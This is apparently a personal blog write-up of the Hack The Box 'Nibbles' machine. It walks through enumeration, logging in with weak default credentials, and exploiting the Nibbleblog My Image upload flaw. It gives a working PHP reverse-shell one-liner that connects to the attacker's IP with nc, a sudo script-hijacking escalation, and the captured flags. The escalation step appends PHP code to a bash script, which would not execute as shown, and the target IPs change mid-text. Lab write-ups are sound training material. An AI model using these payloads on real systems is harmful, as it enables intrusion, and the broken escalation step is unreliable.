The target is a Linux-based virtual machine hosting a web application (Nibbleblog CMS) with known vulnerabilities. The goal is to gain initial access by leveraging an unrestricted file upload vulnerability in a plugin, then escalate privileges to root by abusing sudo permissions on a local script. This walkthrough covers detailed enumeration, web content analysis, reverse shell exploitation, and privilege escalation through misconfigured sudo scripts, concluding with the capture of both user and root flags.
Challenge Overview #
CTF Name: Nibbles
Category: machine
Active/Retired (at pwn): retired
Difficulty (subjective): easy
Author: mrb3n8132
Date Released: 13 Jan 2018
Date Completed: 12 Jul 2025
CTF Link: https://app.hackthebox.com/machines/Nibbles
Tasks #
- Grab user flag
- Grab root flag
Own #
Enumeration with nmap #
Basic version enumeration on the 1000 most common ports:
nmap --open -sV -oA Nibbles_Scan 10.129.200.170
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Use Scripts on open ports:
nmap -sC -p 22,80 -oA Nibbles_ScriptScan 10.129.200.170
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http
|_http-title: Site doesn't have a title (text/html).
Use a specific script for enumerating http servers:
nmap -sV --script=http-enum -oA Nibbles_HTTPenum 10.129.200.170
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Whatweb #
whatweb 10.129.200.170
http://10.129.200.170 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.200.170]
Inspect web content #
To look at the website content:
curl http://10.129.42.190
<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing interesting here! -->
Analyze /nibbleblog/
directory:
whatweb http://10.129.42.190/nibbleblog/
http://10.129.42.190/nibbleblog [301 Moved Permanently] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.42.190], RedirectLocation[http://10.129.42.190/nibbleblog/], Title[301 Moved Permanently]
http://10.129.42.190/nibbleblog/ [200 OK] Apache[2.4.18], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.42.190], JQuery, MetaGenerator[Nibbleblog], PoweredBy[Nibbleblog], Script, Title[Nibbles - Yum yum]
This contains useful information about the web app: HTML5, HTTPServer [Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.42.190], JQuery, MetaGenerator[Nibbleblog]
Use gobuster to find any other useful pages:
gobuster dir -w /path/to/Discovery/Web-Content/common.txt -u http://10.129.200.170/nibbleblog
---snip---
===============================================================
/.hta (Status: 403) [Size: 304]
/.htaccess (Status: 403) [Size: 309]
/.htpasswd (Status: 403) [Size: 309]
/README (Status: 200) [Size: 4628]
/admin (Status: 301) [Size: 327] [--> http://10.129.200.170/nibbleblog/admin/]
/admin.php (Status: 200) [Size: 1401]
/content (Status: 301) [Size: 329] [--> http://10.129.200.170/nibbleblog/content/]
/index.php (Status: 200) [Size: 2987]
/languages (Status: 301) [Size: 331] [--> http://10.129.200.170/nibbleblog/languages/]
/plugins (Status: 301) [Size: 329] [--> http://10.129.200.170/nibbleblog/plugins/]
/themes (Status: 301) [Size: 328] [--> http://10.129.200.170/nibbleblog/themes/]
Progress: 4750 / 4750 (100.00%)
===============================================================
---snip---
README is worth exploring. We find out the version of the service (4.0.3
), which can be potentially vulnerable.
“Unrestricted file upload vulnerability in the My Image plugin in Nibbleblog before 4.0.5
allows remote administrators to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in content/private/plugins/my_image/image.php
.” (1)
Keep digging into /content
.
In /content
we can see a config.xml
and get a username - admin
. After a few simple tries for the password, it is actually nibbles
. Log into /nibbleblog/admin.php
using admin:nibbles
.
Reverse shell #
In the nibbleblog pannel we can upload an image in Plugins -> My image. Upload a .php
shell file instead of an image to see if it executes.
shell.php:
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.126 1234 >/tmp/f')?>
This is a reverse shell to my address on port 1234
. The website returned a lot of errors, but the shell was uploaded at http://10.129.200.170/nibbleblog/content/private/plugins/my_image/image.php
.
On the attack machine listen with:
nc -lvnp 1234
Start the reverse shell with:
curl http://10.129.200.170/nibbleblog/content/private/plugins/my_image/image.php
Upgrade TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
^Z
stty raw -echo
fg
[enter]
[enter]
Capture user flag:
$ cd /home/nibbler
$ ls
user.txt personal.zip
$ cat user.txt
`79c03865431abf47b90ef24b9695e148`
Privilege Escalation #
Check what commands can nibbler execute as sudo with:
sudo -l
We find out this user has sudo rights on /home/nibbler/personal/stuff/monitor.sh
. It is a file in personal.zip.
Extract the zip archive and modify monitor.sh
to spawn a reverse shell:
unzip personal.zip
echo "<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.126 1235 >/tmp/f')?>" >> /home/nibbler/personal/stuff/monitor.sh
Spawning a shell on port 1235
Start listenter:
nc -lvnp 1235
Execute with root privileges:
sudo /home/nibbler/personal/stuff/monitor.sh
After connecting as root we can view the flag in /root/root.txt
:
cat /root/root.txt
de5e5d6619862a8aa5b9b212314e0cdd
FLAG #
User Flag: 79c03865431abf47b90ef24b9695e148
Root Flag: de5e5d6619862a8aa5b9b212314e0cdd
Lessons Learnt #
-
Importance of directory enumeration in uncovering hidden or unlinked application paths.
-
Exploiting weak credentials within application configuration files.
-
The significance of CMS version enumeration for identifying exploits.
-
Understanding how plugin upload functionalities can be used for remote code execution.
-
Practical use of sudo misconfigurations and how local scripts run as root can be hijacked for privilege escalation.
Useful Resources #
Get Involved #
I think knowledge should be shared and discussions encouraged. So, don’t hesitate to ask questions, or suggest topics you’d
like me to cover in future posts.
Stay Connected #
You can contact me at ion.miron@tutanota.com